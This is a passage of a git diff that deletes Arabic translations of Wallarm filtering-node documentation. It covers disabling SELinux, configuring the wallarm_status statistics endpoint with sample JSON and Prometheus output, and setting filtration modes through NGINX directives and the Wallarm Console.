السلسلة: -``` -boolean -m -1 collectd_tcp_network_connect -``` - -## تعطيل SELinux - -لاجراء SELinux في حالة معطلة -* يمكن تنفيذ أمر `setenforce 0` (سيتم تعطيل SELinux حتى إعادة التشغيل التالية) أو -* ضبط قيمة المتغير `SELINUX` على `disabled` في ملف `/etc/selinux/config`، ثم إعادة التشغيل (سيتم تعطيل SELinux بشكل دائم). \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configure-statistics-service.md b/docs/latest-ar/admin-en/configure-statistics-service.md deleted file mode 100644 index 8742cdea0d..0000000000 --- a/docs/latest-ar/admin-en/configure-statistics-service.md +++ /dev/null @@ -1,336 +0,0 @@ -[doc-configure-kubernetes]: configure-kubernetes-en.md -[link-prometheus]: https://prometheus.io/ -[gl-lom]: ../glossary-en.md#custom-ruleset-the-former-term-is-lom -[doc-selinux]: configure-selinux.md - -# إعدادات خدمة الإحصائيات - -للحصول على إحصائيات حول العقدة المرشحة، استخدم الأمر `wallarm_status`، والذي يتم كتابته في ملف التكوين NGINX. - -## تهيئة خدمة الإحصائيات - -!!! warning "مهم" - - يوصى بشدة بتكوين خدمة الإحصائيات في ملفها الخاص، مواجهة الأمر `wallarm_status` في ملفات تجهيز NGINX الأخرى، لأن الأخير قد يكون أمرًا غير آمن. يقع ملف التكوين لـ `wallarm-status` في: - - * `/etc/nginx/wallarm-status.conf` للمثبت للكل في واحد - * `/etc/nginx/conf.d/wallarm-status.conf` للتثبيتات الأخرى - - أيضًا، يشدد على عدم تغيير أي من الخطوط الحالية للتكوين `wallarm-status` الافتراضي حيث يمكن أن يفسد عملية تحميل بيانات القياس إلى السحابة Wallarm. - -عند استخدام الأمر، يمكن إعطاء الإحصائيات في تنسيق JSON أو في تنسيق متوافق مع [Prometheus][link-prometheus]. الاستخدام: - -``` -wallarm_status [on|off] [format=json|prometheus]; -``` - -!!! info - يمكن تكوين الأمر في سياق `server` و/أو `location`. - - القيمة الافتراضية للمعلمة `format` هي `json` في معظم خيارات التوظيف باستثناء صورة Docker على أساس NGINX؛ عندما يتم استدعاء `/wallarm-status` من خارج الحاوية، يعيد بيانات المقاييس بتنسيق Prometheus. - -### التكوين الافتراضي - -بشكل افتراضي، خدمة الإحصائيات للعقدة المرشحة لديها التكوين الأكثر أمانًا. يبدو ملف التكوين `/etc/nginx/conf.d/wallarm-status.conf` (`/etc/nginx/wallarm-status.conf` للمثبت للكل في واحد) كما يلي: - -``` -server { - listen 127.0.0.8:80; - server_name localhost; - - allow 127.0.0.0/8; # يتاح الوصول فقط للعناوين المعادة للعقدة المرشحة - deny all; - - wallarm_mode off; - disable_acl "on"; # تم تعطيل التحقق من مصادر الطلب، يُسمح للأي بي المرفوض طلب خدمة wallarm-status. https://docs.wallarm.com/admin-en/configure-parameters-en/#disable_acl - access_log off; - - location /wallarm-status { - wallarm_status on; - } -} -``` - -### الحد من عناوين الأي بي المسموح بطلب الإحصائيات منها - -عند تكوين الأمر `wallarm_status`، يمكنك تحديد عناوين IP التي يمكنك طلب الإحصاءات منها. بشكل افتراضي، يتم رفض الوصول من أي مكان باستثناء عناوين الأي بي `127.0.0.1` و`::1`، التي تسمح بتنفيذ الطلب فقط من الخادم الذي تم فيه تثبيت Wallarm. - -للسماح بالطلبات من خادم آخر، أضف أمر `allow` مع عنوان الأي بي للخادم المطلوب في التكوين. على سبيل المثال: - -```diff -... -server_name localhost; - -allow 127.0.0.0/8; -+ allow 10.41.29.0; -... -``` - -حالما تغير الإعدادات، أعد تشغيل NGINX لتطبيق التغييرات: - ---8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -### تغيير عنوان الأي بي و/أو منفذ خدمة الإحصائيات - -لتغيير عنوان IP و/أو منفذ خدمة الإحصائيات، اتبع التعليمات أدناه. - -!!! info "تغيير منفذ خدمة الإحصائيات على صورة Docker القائمة على NGINX" - لتغيير النقطة الافتراضية لخدمة الإحصائيات على [صورة Docker القائمة على NGINX](installation-docker-en.md)، ابدأ الحاوية مع متغير `NGINX_PORT` مُعيّنًا إلى النقطة الجديدة. لا يتطلب أي تغييرات أخرى. - -1. افتح ملف `/etc/nginx/conf.d/wallarm-status.conf` (`/etc/nginx/wallarm-status.conf` للمثبت للكل في واحد) وحدد ما يلي: - - * عنوان الخدمة الجديد في الأمر `listen`. - * إذا كان مطلوبًا، قم بتغيير الأمر `allow` للسماح بالوصول من العناوين غير العائدة للتكرار (ملف التكوين الافتراضي يسمح بالوصول فقط إلى العناوين المتكررة). -1. أضف معلمة `status_endpoint` مع قيمة العنوان الجديد إلى ملف `/etc/wallarm/node.yaml` (`/opt/wallarm/etc/wallarm/node.yaml` بالنسبة لصورة Docker القائمة على NGINX وصور السحابة والمثبت للكل في واحد)، على سبيل المثال: - - ```bash - hostname: example-node-name - uuid: ea1xa0xe-xxxx-42a0-xxxx-b1b446xxxxxx - ... - status_endpoint: 'http://127.0.0.2:8082/wallarm-status' - ``` -1. أعد تشغيل NGINX لتطبيق التغييرات: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -1. بالنسبة للعقد المرشحة المُنتشرة عبر المثبت الشامل أو صور السحابة، افتح ملف `/opt/wallarm/env.list` وقم بإلحاق متغير `NGINX_PORT` بقيمة نقطة خدمة الجديدة (إذا تم تغييرها)، على سبيل المثال: - - ``` - NGINX_PORT=8082 - ``` -1. إذا تم استخدام عنوان أي بي غير قياسي أو نقطة لـ Tarantool، قم بتصحيح ملف تكوين Tarantool بالتحديد. موقع هذا الملف يعتمد على نوع توزيع نظام التشغيل لديك: - - === "توزيعات قائمة على DEB" - ```bash - /etc/collectd/collectd.conf.d/wallarm-tarantool.conf - - # إذا كانت تستخدم المثبت الشامل: - /opt/wallarm/etc/collectd/collectd.conf.d/wallarm-tarantool.conf - ``` - === "توزيعات قائمة على RPM" - ```bash - /etc/collectd.d/wallarm-tarantool.conf - - # بالنسبة للمثبت الشامل: - /opt/wallarm/etc/collectd.d/wallarm-tarantool.conf - ``` - === "صورة AMI، أو صورة GCP، أو صورة Docker القائمة على NGINX" - ```bash - /opt/wallarm/etc/collectd/collectd.conf.d/wallarm-tarantool.conf - ``` - -إذا تم تثبيت SELinux على مضيف العقدة المرشحة، تأكد من أن SELinux إما [مُعدّة أو معطلة][doc-selinux]. للبساطة، يفترض هذا المستند أن SELinux معطلة. - -اعلم أن إخراج `wallarm-status` المحلي سوف يتم إعادة تعيينه بعد تطبيق الإعدادات أعلاه. - -### الحصول على الإحصائيات بتنسيق Prometheus - -معظم خيارات التوزيع تقدم الإحصائيات بالتنسيق JSON افتراضيًا. صورة Docker القائمة على NGINX هي الاستثناء؛ عندما يتم استدعاء نقطة النهاية `/wallarm-status` من خارج الحاوية، يعيد المقاييس بتنسيق Prometheus. - -للحصول على الإحصائيات بتنسيق Prometheus من خيارات التوزيع العقدة التي تعتبر JSONهي القيمة الافتراضية: - -1. أضف التكوين التالي إلى ملف `/etc/nginx/conf.d/wallarm-status.conf` (`/etc/nginx/wallarm-status.conf` للمثبت للكل في واحد): - - - ```diff - ... - - location /wallarm-status { - wallarm_status on; - } - - + location /wallarm-status-prometheus { - + wallarm_status on format=prometheus; - + } - - ... - ``` - - !!! warning "لا تحذف أو تغير التكوين الافتراضي لـ `/wallarm-status`" - الرجاء عدم حذف أو تغيير التكوين الافتراضي للموقع `/wallarm-status`. التشغيل الافتراضي لهذه النقطة حاسم لتحميل البيانات الصحيحة إلى السحابة Wallarm. -1. قم بإعادة تشغيل NGINX لتطبيق التحديثات: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -1. استدعي النقطة المنتهية الجديدة للحصول على مقاييس Prometheus: - - ```bash - curl http://127.0.0.8/wallarm-status-prometheus - ``` - -## العمل مع خدمة الإحصائيات - -للحصول على الإحصائيات للعقدة المرشحة، قم بعمل طلب من أحد عناوين الأي بي المسموح بها (انظر أعلاه): - -=== "الإحصائيات بتنسيق JSON" - ``` - curl http://127.0.0.8/wallarm-status - ``` - - وكنتيجة، سوف تحصل على رد من النوع: - - ``` - { "requests":0,"attacks":0,"blocked":0,"blocked_by_acl":0,"acl_allow_list":0,"abnormal":0, - "tnt_errors":0,"api_errors":0,"requests_lost":0,"overlimits_time":0,"segfaults":0,"memfaults":0, - "softmemfaults":0,"proton_errors":0,"time_detect":0,"db_id":73,"lom_id":102,"custom_ruleset_id":102, - "custom_ruleset_ver":51,"db_apply_time":1598525865,"lom_apply_time":1598525870, - "custom_ruleset_apply_time":1598525870,"proton_instances": { "total":3,"success":3,"fallback":0, - "failed":0 },"stalled_workers_count":0,"stalled_workers":[],"ts_files":[{"id":102,"size":12624136, - "mod_time":1598525870,"fname":"\/etc\/wallarm\/custom_ruleset"}],"db_files":[{"id":73,"size":139094, - "mod_time":1598525865,"fname":"\/etc\/wallarm\/proton.db"}],"startid":1459972331756458216, - "timestamp":1664530105.868875,"rate_limit":{"shm_zone_size":67108864,"buckets_count":4,"entries":1, - "delayed":0,"exceeded":1,"expired":0,"removed":0,"no_free_nodes":0},"split":{"clients":[ - {"client_id":null,"requests": 78,"attacks": 0,"blocked": 0,"blocked_by_acl": 0,"overlimits_time": 0, - "time_detect": 0,"applications":[{"app_id":4,"requests": 78,"attacks": 0,"blocked": 0, - "blocked_by_acl": 0,"overlimits_time": 0,"time_detect": 0}]}]} } - ``` -=== "الإحصائيات بتنسيق Prometheus" - ``` - curl http://127.0.0.8/wallarm-status-prometheus - ``` - - المعالج يمكن أن يكون مختلفا، يرجى التأكد من ملف `/etc/nginx/conf.d/wallarm-status.conf` (`/etc/nginx/wallarm-status.conf` للمثبت للكل في واحد) للعنوان الفعلي. - - وكنتيجة، سوف تحصل على رد من النوع: - - - ``` - # HELP wallarm_requests requests count - # TYPE wallarm_requests gauge - wallarm_requests 2 - # HELP wallarm_attacks attack requests count - # TYPE wallarm_attacks gauge - wallarm_attacks 0 - # HELP wallarm_blocked blocked requests count - # TYPE wallarm_blocked gauge - wallarm_blocked 0 - # HELP wallarm_blocked_by_acl blocked by acl requests count - # TYPE wallarm_blocked_by_acl gauge - wallarm_blocked_by_acl 0 - # HELP wallarm_acl_allow_list requests passed by allow list - # TYPE wallarm_acl_allow_list gauge - wallarm_acl_allow_list 0 - # HELP wallarm_abnormal abnormal requests count - # TYPE wallarm_abnormal gauge - wallarm_abnormal 2 - # HELP wallarm_tnt_errors tarantool write errors count - # TYPE wallarm_tnt_errors gauge - wallarm_tnt_errors 0 - # HELP wallarm_api_errors API write errors count - # TYPE wallarm_api_errors gauge - wallarm_api_errors 0 - # HELP wallarm_requests_lost lost requests count - # TYPE wallarm_requests_lost gauge - wallarm_requests_lost 0 - # HELP wallarm_overlimits_time overlimits_time count - # TYPE wallarm_overlimits_time gauge - wallarm_overlimits_time 0 - # HELP wallarm_segfaults segmentation faults count - # TYPE wallarm_segfaults gauge - wallarm_segfaults 0 - # HELP wallarm_memfaults vmem limit reached events count - # TYPE wallarm_memfaults gauge - wallarm_memfaults 0 - # HELP wallarm_softmemfaults request memory limit reached events count - # TYPE wallarm_softmemfaults gauge - wallarm_softmemfaults 0 - # HELP wallarm_proton_errors libproton non-memory related libproton faults events count - # TYPE wallarm_proton_errors gauge - wallarm_proton_errors 0 - # HELP wallarm_time_detect_seconds time spent for detection - # TYPE wallarm_time_detect_seconds gauge - wallarm_time_detect_seconds 0 - # HELP wallarm_db_id proton.db file id - # TYPE wallarm_db_id gauge - wallarm_db_id 71 - # HELP wallarm_lom_id LOM file id - # TYPE wallarm_lom_id gauge - wallarm_lom_id 386 - # HELP wallarm_custom_ruleset_id Custom Ruleset file id - # TYPE wallarm_custom_ruleset_id gauge - wallarm_custom_ruleset_id{format="51"} 386 - # HELP wallarm_custom_ruleset_ver custom ruleset file format version - # TYPE wallarm_custom_ruleset_ver gauge - wallarm_custom_ruleset_ver 51 - # HELP wallarm_db_apply_time proton.db file apply time id - # TYPE wallarm_db_apply_time gauge - wallarm_db_apply_time 1674548649 - # HELP wallarm_lom_apply_time LOM file apply time - # TYPE wallarm_lom_apply_time gauge - wallarm_lom_apply_time 1674153198 - # HELP wallarm_custom_ruleset_apply_time Custom Ruleset file apply time - # TYPE wallarm_custom_ruleset_apply_time gauge - wallarm_custom_ruleset_apply_time 1674153198 - # HELP wallarm_proton_instances proton instances count - # TYPE wallarm_proton_instances gauge - wallarm_proton_instances{status="success"} 5 - wallarm_proton_instances{status="fallback"} 0 - wallarm_proton_instances{status="failed"} 0 - # HELP wallarm_stalled_worker_time_seconds time a worker stalled in libproton - # TYPE wallarm_stalled_worker_time_seconds gauge - wallarm_stalled_worker_time_seconds{pid="3169104"} 25 - - # HELP wallarm_startid unique start id - # TYPE wallarm_startid gauge - wallarm_startid 3226376659815907920 - ``` - -المعلمات الاستجابة التالية متاحة (تتضمن مقاييس Prometheus البادئة `wallarm_`): - -* `requests`: عدد الطلبات التي مُعالجتها بواسطة العقدة المرشحة. -* `attacks`: عدد الهجمات المسجلة. -* `blocked`: عدد الطلبات المعطلة بما في ذلك تلك التي تأتي من [IPs على القائمة السوداء](../user-guides/ip-lists/overview.md). -* `blocked_by_acl`: عدد الطلبات التي تم منعها بسبب حجب مصادر الطلبات في [القائمة السوداء](../user-guides/ip-lists/overview.md). -* `acl_allow_list`: عدد الطلبات التي تأتي من مصادر الطلبات في [القائمة البيضاء](../user-guides/ip-lists/overview.md). -* `abnormal`: عدد الطلبات التي تراها التطبيق غير طبيعية. -* `tnt_errors`: عدد الطلبات التي لم يتم تحليلها بواسطة وحدة التحليل بعد الطلبات. فيما يخص هذه الطلبات، سجلت أسباب الحجب، ولكن لم يتم احتساب الطلبات ذاتها في الإحصائيات والتحققات السلوكية. -* `api_errors`: عدد الطلبات التي لم تقدم إلى الواجهة البرمجية للتطبيقات للتحليل الأمامي. فيما يخص هذه الطلبات، تم تطبيق معلمات الحجب (أي ، تم حجب الطلبات الضارة إذا كانت النظام تعمل في الوضع العرقلة)؛ ومع ذلك، ليس مرئيا بيانات حول هذه الأحداث في الواجهة الرسومية. يتم استخدام هذا المعلم فقط عندما يعمل الوحدة الخاصة بواجهة البرمجة للتطبيقات Wallarm مع وحدة التحليل بعد الطلبات المحلية. -* `requests_lost`: عدد الطلبات التي لم يتم تحليلها بوحدة التحليل بعد الطلبات وتحويلها إلى الواجهة البرمجية للتطبيقات. فيما يخص هذه الطلبات، تم تطبيق معلمات الحجب (أي، تم حجب الطلبات الضارة إذا كانت النظام تعمل في الوضع العرقلة)؛ ومع ذلك، ليس مرئيا بيانات حول هذه الأحداث في الواجهة الرسومية. يتم استخدام هذا المعلم فقط عندما يعمل الوحدة الخاصة بواجهة البرمجة للتطبيقات Wallarm مع وحدة التحليل بعد الطلبات المحلية. -* `overlimits_time`: عدد الهجمات ذات النوع [التجاوز الحصص المحددة للموارد الحسابية](../attacks-vulns-list.md#overlimiting-of-computational-resources) الذي تم اكتشافها بواسطة العقدة المرشحة. -* `segfaults`: عدد المشكلات التي أدّت إلى التوقف الطارئ عن عملية العمل. -* `memfaults`: عدد المشكلات التي تم فيها الوصول إلى حدود الذاكرة الافتراضية. -* `softmemfaults`: عدد المشكلات التي تم فيها تجاوز الحد الأقصى للذاكرة الافتراضية للـ proton.db +lom ([`wallarm_general_ruleset_memory_limit`](configure-parameters-en.md#wallarm_general_ruleset_memory_limit)). -* `proton_errors`: عدد أخطاء proton.db باستثناء تلك التي حدثت بسبب الحالات التي تم فيها الوصول إلى حد الذاكرة الافتراضية. -* `time_detect`: الوقت الإجمالي لتحليل الطلبات. -* `db_id`: إصدار proton.db. -* `lom_id`: سيكون من العتاد قريبا، من فضلك استخدم `custom_ruleset_id`. -* `custom_ruleset_id`: بناءً على إصدار المجموعة القاعدية المخصصة [القاعدة المخصصة][gl-lom]. - - بدءًا من الإصدار 4.8، يظهر بتنسيق Prometheus كـ `wallarm_custom_ruleset_id{format="51"} 386`، مع `custom_ruleset_ver` داخل خاصية `format` والقيمة الرئيسية كونها نسخة بناء القاعدة. -* `custom_ruleset_ver` (متاح بدءًا من الإصدار 4.4.3 من Wallarm): تنسيق [القاعدة المخصصة][gl-lom]: - - * `4x` - لعقد Wallarm 2.x والتي هي [غير محدثة](../updating-migrating/versioning-policy.md#version-list). - * `5x` - لعقد Wallarm 4.x و3.x (الأخيرة [غير محدثة](../updating-migrating/versioning-policy.md#version-list)). -* `db_apply_time`: وقت Unix الخاص بتحديث ملف proton.db. -* `lom_apply_time`: سيكون من العتاد قريبا، من فضلك استخدم `custom_ruleset_apply_time`. -* `custom_ruleset_apply_time`: وقت Unix لآخر تحديث لملف [القاعدة المخصصة](../glossary-en.md#custom-ruleset-the-former-term-is-lom). -* `proton_instances`: معلومات حول proton.db + LOM الأزواج المُحمّلة: - * `total`: العدد الكلي للأزواج. - * `success`: عدد الأزواج تم تحميلها بنجاح من السحابة Wallarm. - * `fallback`: عدد الأزواج تم تنزيلها من الدليل النسخ الاحتياطي. تشير القيمة المكتوبة هنا إلى حدوث مشكلات في تنزيل أحدث proton.db + LOM من السحابة، لكن كان NGINX قادرًا على تحميل أقدم الإصدارات من proton.db + LOM من الدليل النسخ الاحتياطي اعتماداً على الأمر [`wallarm_fallback`](configure-parameters-en.md#wallarm_fallback) المُعيّن على `on`. - * `failed`: عدد الأزواج التي فشلت في المبادرة، أي أن NGINX كان غير قادر على تحميل proton.db + LOM من السحابة أو الدليل النسخ الاحتياطي. إذا تم تمكين أمر [`wallarm_fallback`](configure-parameters-en.md#wallarm_fallback) وحدث ذلك، سيتم تعطيل الوحدة النمطية Wallarm، مما سيترك وحدة NGINX فقط قابلة للعمل. لتشخيص القضية، ويوصى بفحص سجلات NGINX أو [الاتصال بدعم Wallarm](https://support.wallarm.com/). -* `stalled_workers_count`: الكمية (العدد) من العمل الذي يتجاوز حد الزمن (القيمة التي حددت بأمر [`wallarm_stalled_worker_timeout`](configure-parameters-en.md#wallarm_stalled_worker_timeout)) لمعالجة الطلب. -* `stalled_workers`: قائمة العمال الذين تجاوزوا حد الزمن (القيمة التي حددت بأمر [`wallarm_stalled_worker_timeout`](configure-parameters-en.md#wallarm_stalled_worker_timeout)) لمعالجة الطلب والمبلغ المستغرق في معالجة الطلب. -* `ts_files`: معلومات حول ملف [LOM](../glossary-en.md#custom-ruleset-the-former-term-is-lom): - * `id`: إصدار LOM المستخدم. - * `size`: حجم ملف LOM بالبايت. - * `mod_time`: وقت Unix لتحديث ملف LOM الأخير. - * `fname`: مسار ملف LOM. -* `db_files`: معلومات عن ملف proton.db: - * `id`: إصدار proton.db المستخدم. - * `size`: حجم ملف proton.db بالبايت. - * `mod_time`: وقت Unix لتحديث ملف proton.db الأخير. - * `fname`: مسار ملف proton.db. -* `startid`: معرف مُبدأ فريد تم توليده بشكل عشوائي للعقدة المرشحة. -* `timestamp`: وقت مُعالَجَة الطلب الوارد الأخير بواسطة العقدة (بتنسيق [Unix Timestamp](https://www.unixtimestamp.com/)). -* `rate_limit`: معلومات حول وحدة تحديد الحد النسبة من Wallarm: - * `shm_zone_size`: الإجمالي للذاكرة المشتركة التي يمكن أن تستهلكها وحدة التحكم في الحد النسبة من Wallarm بالبايت (القيمة تعتمد على الأمر [`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size)، القيمة الافتراضية هي `67108864`). - * `buckets_count`: عدد الدلائل (عادة ما يكون مساوياً للعدد العاملات NGINX، القيمة القصوى 8). - * `entries`: عدد النقاط المطلوبة الفريدة (المفاتيح) تقيس الحدود لها. - * `delayed`: عدد الطلبات التي تأتي من الدليل النسخ الاحتياطي بسبب تفضيلات `burst`. - * `exceeded`: عدد الطلبات التي تأتي من الدليل النسخ الاحتياطي لأنها تجاوزت الحد. - * `expired`: العدد الإجمالي للمفاتيح التي يتم إزالتها من الدليل خلال 60 ثانية العادية إذا لم يتم تجاوز حد هذه المفاتيح. - * `removed`: عدد المفاتيح التي تمت إزالتها بشكل مُطرد من الدليل. إذا كانت القيمة أعلى من `expired`، يلزم زيادة قيمة [`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size). - * `no_free_nodes`: القيمة المختلفة عن `0` تشير إلى أن هناك ذاكرة غير كافية مُخصصة لوحدة التحديد بوسطة نسبة، يُوصي بزيادة قيمة [`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size). -* `split.clients`: الإحصائيات الأساسية على كل [العقار](../installation/multi-tenant/overview.md). إذا لم تكن ميزة العديد من المستأجرين مُفعلة، يتم إرجاع الإحصائيات للمستأجر الوحيد (حسابك) مع القيمة الثابتة `"client_id":null`. -* `split.clients.applications`: الإحصائيات الأساسية عن كل [تطبيق](../user-guides/settings/applications.md). المعلمات التي ليست مضمنة في هذا القسم تقدم الإحصائيات على جميع التطبيقات. - -يتم تجميع بيانات جميع العدادات من لحظة بداية NGINX. إذا تم تثبيت Wallarm في بنية جاهزة مع NGINX، يجب إعادة تشغيل الخادم NGINX لبداية جمع الإحصائيات. diff --git a/docs/latest-ar/admin-en/configure-wallarm-mode.md b/docs/latest-ar/admin-en/configure-wallarm-mode.md deleted file mode 100644 index e40c685f3c..0000000000 --- a/docs/latest-ar/admin-en/configure-wallarm-mode.md +++ /dev/null @@ -1,261 +0,0 @@ -[link-wallarm-mode-override]: ../admin-en/configure-parameters-en.md#wallarm_mode_allow_override -[rule-creation-options]: ../user-guides/events/analyze-attack.md#analyze-requests-in-an-event -[acl-access-phase]: ../admin-en/configure-parameters-en.md#wallarm_acl_access_phase -[img-mode-rule]: ../images/user-guides/rules/wallarm-mode-rule.png - -# وضع الفلترة - -يعرف وضع الفلترة سلوك العقدة عند فحص الطلبات الواردة. توجه هذه التعليمات لما يتوفر من أوضاع للفلترة وطرق التكوين الخاصة بها. - -## الأوضاع المتاحة للفلترة - -يمكن لعقدة الفلترة Wallarm معالجة الطلبات الواردة في الأوضاع التالية (من الأخف إلى الأشد): - -* **معطل** (`off`) -* **المراقبة** (`monitoring`) -* **الحجب الآمن** (`safe_blocking`) -* **الحجب** (`block`) - ---8<-- "../include/wallarm-modes-description-5.0.md" - -## طرق تكوين وضع الفلترة - -يمكن تكوين وضع الفلترة بالطرق التالية: - -* تعيين قيمة لواصفة `wallarm_mode` في ملف تهيئة العقدة الفاصلة. - - !!! تحذير "دعم واصفة `wallarm_mode` على العقدة CDN" - يرجى الاخذ بعين الاعتبار انه لا يمكن تكوين واصفة `wallarm_mode` على [عقد Wallarm CDN](../installation/cdn-node.md). لتكوين وضع الفلترة للعقد CDN ، يرجى استخدام الطرق الأخرى المتوفرة. -* تحديد القاعدة العامة للفلترة في وحدة تحكم Wallarm -* تحديد قواعد الفلترة الموجهة لنقطة النهاية في وحدة تحكم Wallarm - -تتم تحديد أولويات طرق تكوين وضع الفلترة في [الواصفة `wallarm_mode_allow_override`](#setting-up-priorities-of-filtration-mode-configuration-methods-using-wallarm_mode_allow_override). بشكل افتراضي، تحظى الإعدادات المحددة في وحدة تحكم Wallarm بأولوية أعلى من الواصفة `wallarm_mode` بغض النظر عن شدة قيمتها. - -### تحديد وضع الفلترة في الواصفة `wallarm_mode` - -!!! تحذير "دعم واصفة `wallarm_mode` على العقدة CDN" - يرجى الاخذ بعين الاعتبار انه لا يمكن تكوين واصفة `wallarm_mode` على [عقد Wallarm CDN](../installation/cdn-node.md). لتكوين وضع الفلترة للعقد CDN ، يرجى استخدام الطرق الأخرى المتوفرة. - -عند استخدام الواصفة `wallarm_mode` في ملف التهيئة للعقدة الفاصلة، يمكنك تحديد أوضاع الفلترة لسياقات مختلفة. يتم ترتيب هذه السياقات من الأكثر شمولية إلى الأكثر محلية وفقًا للقائمة التالية: - -* `http`: تتم تطبيق الواصفات داخل الكتلة `http` على الطلبات المرسلة إلى الخادم HTTP. -* `server`: تتم تطبيق الواصفات داخل الكتلة `server` على الطلبات المرسلة إلى الخادم الافتراضي. -* `location`: يتم تطبيق الواصفات داخل الكتلة `location` فقط على الطلبات التي تحتوي على هذا المسار الخاص. - -إذا تم تعريف قيم واصفة `wallarm_mode` مختلفة لكتل `http`, `server`, و`location`، فإن التكوين الأكثر محلية له أعلى أولوية. - -**مثال على استخدام واصفة `wallarm_mode`:** - -```bash -http { - - wallarm_mode monitoring; - - server { - server_name SERVER_A; - } - - server { - server_name SERVER_B; - wallarm_mode off; - } - - server { - server_name SERVER_C; - wallarm_mode off; - - location /main/content { - wallarm_mode monitoring; - } - - location /main/login { - wallarm_mode block; - } - - location /main/reset-password { - wallarm_mode safe_blocking; - } - } -} -``` - -في هذا المثال، يتم تعريف أوضاع الفلترة للموارد على النحو التالي: - -1. يتم تطبيق وضع `monitoring` على الطلبات المرسلة إلى الخادم HTTP. -2. يتم تطبيق وضع `monitoring` على الطلبات المرسلة إلى الخادم الافتراضي `SERVER_A`. -3. يتم تطبيق وضع `off` على الطلبات المرسلة إلى الخادم الافتراضي `SERVER_B`. -4. يتم تطبيق وضع `off` على الطلبات المرسلة إلى الخادم الافتراضي `SERVER_C`، باستثناء الطلبات التي تحتوي على المسار `/main/content`, `/main/login`, أو `/main/reset-password`. - 1. يتم تطبيق وضع `monitoring` على الطلبات المرسلة إلى الخادم الافتراضي `SERVER_C` التي تحتوي على المسار `/main/content`. - 2. يتم تطبيق وضع `block` على الطلبات المرسلة إلى الخادم الافتراضي `SERVER_C` التي تحتوي على المسار `/main/login`. - 3. يتم تطبيق وضع `safe_blocking` على الطلبات المرسلة إلى الخادم الافتراضي `SERVER_C` التي تحتوي على المسار `/main/reset-password`. - -### وضع القاعدة العامة للفلترة في وحدة تحكم Wallarm - -يمكنك تعريف وضع الفلترة العامة لجميع الطلبات الواردة في **الإعدادات** → **العام** في [الولايات المتحدة](https://us1.my.wallarm.com/settings/general) أو [الإتحاد الأوروبي](https://my.wallarm.com/settings/general) سحابة. - -![تبويب الإعدادات العامة](../images/configuration-guides/configure-wallarm-mode/en/general-settings-page-with-safe-blocking.png) - -يتم تمثيل إعداد وضع الفلترة العامة بواسطة **تعيين وضع الفلترة** [الافتراضي](../user-guides/rules/rules.md#default-rules) القاعدة في قسم **القواعد**. يجب الانتباه إلى أن قواعد الفلترة المستهدفة لنقطة النهاية في هذا القسم لها أولوية أعلى. - -### تحديد قواعد الفلترة الموجهة لنقطة النهاية في وحدة تحكم Wallarm - -يمكنك تعيين وضع الفلترة للفروع المحددة، ونقاط النهاية، وبالاعتماد على ظروف أخرى. يمكن إنشاء مثل هذه القواعد من أقسام مختلفة من وحدة تحكم Wallarm وسيتم تخزينها في قسم **القواعد**. لديهم أولوية أعلى من [القاعدة العامة للفلترة المحددة في وحدة تحكم Wallarm](#setting-up-general-filtration-rule-in-wallarm-console). - -لإنشاء قاعدة جديدة لوضع الفلترة: - -1. انتقل إلى وحدة تحكم Wallarm: - - * **القواعد** → **إضافة قاعدة** أو الفرع الخاص بك → **إضافة قاعدة**. - * **الهجمات** / **الحوادث** → الهجوم/الحادث → الضربة → **القاعدة**. - * **اكتشاف API** (إذا كانت [مفعلة](../api-discovery/setup.md#enable)) → نقطة النهاية الخاصة بك → **إنشاء قاعدة**. - -1. في **If request is**، [صف](../user-guides/rules/rules.md#configuring) النطاق لتطبيق القاعدة عليه. إذا بدأت القاعدة للفرع المحدد، أو الضربة، أو نقطة النهاية، فسوف يعرفون النطاق - إذا لزم الأمر، يمكنك إضافة المزيد من الشروط. - -1. في **Then**، اختر **تعيين وضع الفلترة** وحدد الوضع المطلوب. -1. احفظ التغييرات وانتظر حتى [تكتمل تجميع القاعدة](../user-guides/rules/rules.md#ruleset-lifecycle). - -لاحظ أنه لإنشاء قاعدة وضع فلترة، يمكنك أيضا [استدعاء واجهة برمجة التطبيقات Wallarm مباشرة](../api/request-examples.md#create-the-rule-setting-filtration-mode-to-monitoring-for-the-specific-application). - -**مثال: تعطيل حجب الطلب خلال تسجيل المستخدم** - -فلنفترض أن التسجيل للمستخدم الجديد لتطبيقك متاح على `example.com/signup`. حيث من الأفضل أن يتم تجاهل الهجوم بدلاً من خسارة العميل، فمهما كانت الإجراءات الحاجزة المطبقة لتطبيقك، فمن الأفضل تعطيل الحجب أثناء تسجيل المستخدم. - -للقيام بذلك، حدد قاعدة **تعيين وضع الفلترة** كما هو معروض على لقطة الشاشة: - -![تعيين وضع الفلترة للحركة][img-mode-rule] - -### تعيين أولويات طرق تكوين وضع الفلترة باستخدام `wallarm_mode_allow_override` - -!!! تحذير "دعم واصفة `wallarm_mode_allow_override` على العقدة CDN" - يرجى الاخذ بعين الاعتبار انه لا يمكن تكوين واصفة `wallarm_mode_allow_override` على [عقد Wallarm CDN](../installation/cdn-node.md). - -تدير الواصفة `wallarm_mode_allow_override` القدرة على تطبيق القواعد التي تم تعريفها على وحدة تحكم Wallarm بدلاً من استخدام قيم الواصفة `wallarm_mode` من ملف التكوين للعقدة الفاصلة. - -يتوفر القيم التالية للواصفة `wallarm_mode_allow_override`: - -* `off`: يتم تجاهل القواعد المحددة في وحدة تحكم Wallarm. يتم تطبيق القواعد المحددة بواسطة الواصفة `wallarm_mode` في ملف التكوين. -* `strict`: يتم تطبيق القواعد المحددة فقط في السحابة Wallarm التي تحدد أوضاع فلترة أكثر صرامة من تلك التي حددها الواصفة `wallarm_mode` في ملف التكوين. - - أوضاع الفلترة المتاحة مرتبة من الأخف إلى الأشد مدرجة [أعلاه](#available-filtration-modes). - -* `on` (افتراضيا): يتم تطبيق القواعد المحددة في وحدة تحكم Wallarm. يتم تجاهل القواعد المحددة بواسطة الواصفة `wallarm_mode` في ملف التكوين. - -السياقات التي يمكن تعريف قيمة الواصفة `wallarm_mode_allow_override` فيها ، بالترتيب من الأكثر شمولية إلى الأكثر محلية ، تتم تقديمها في القائمة التالية: - -* `http`: تتم تطبيق الواصفات داخل الكتلة 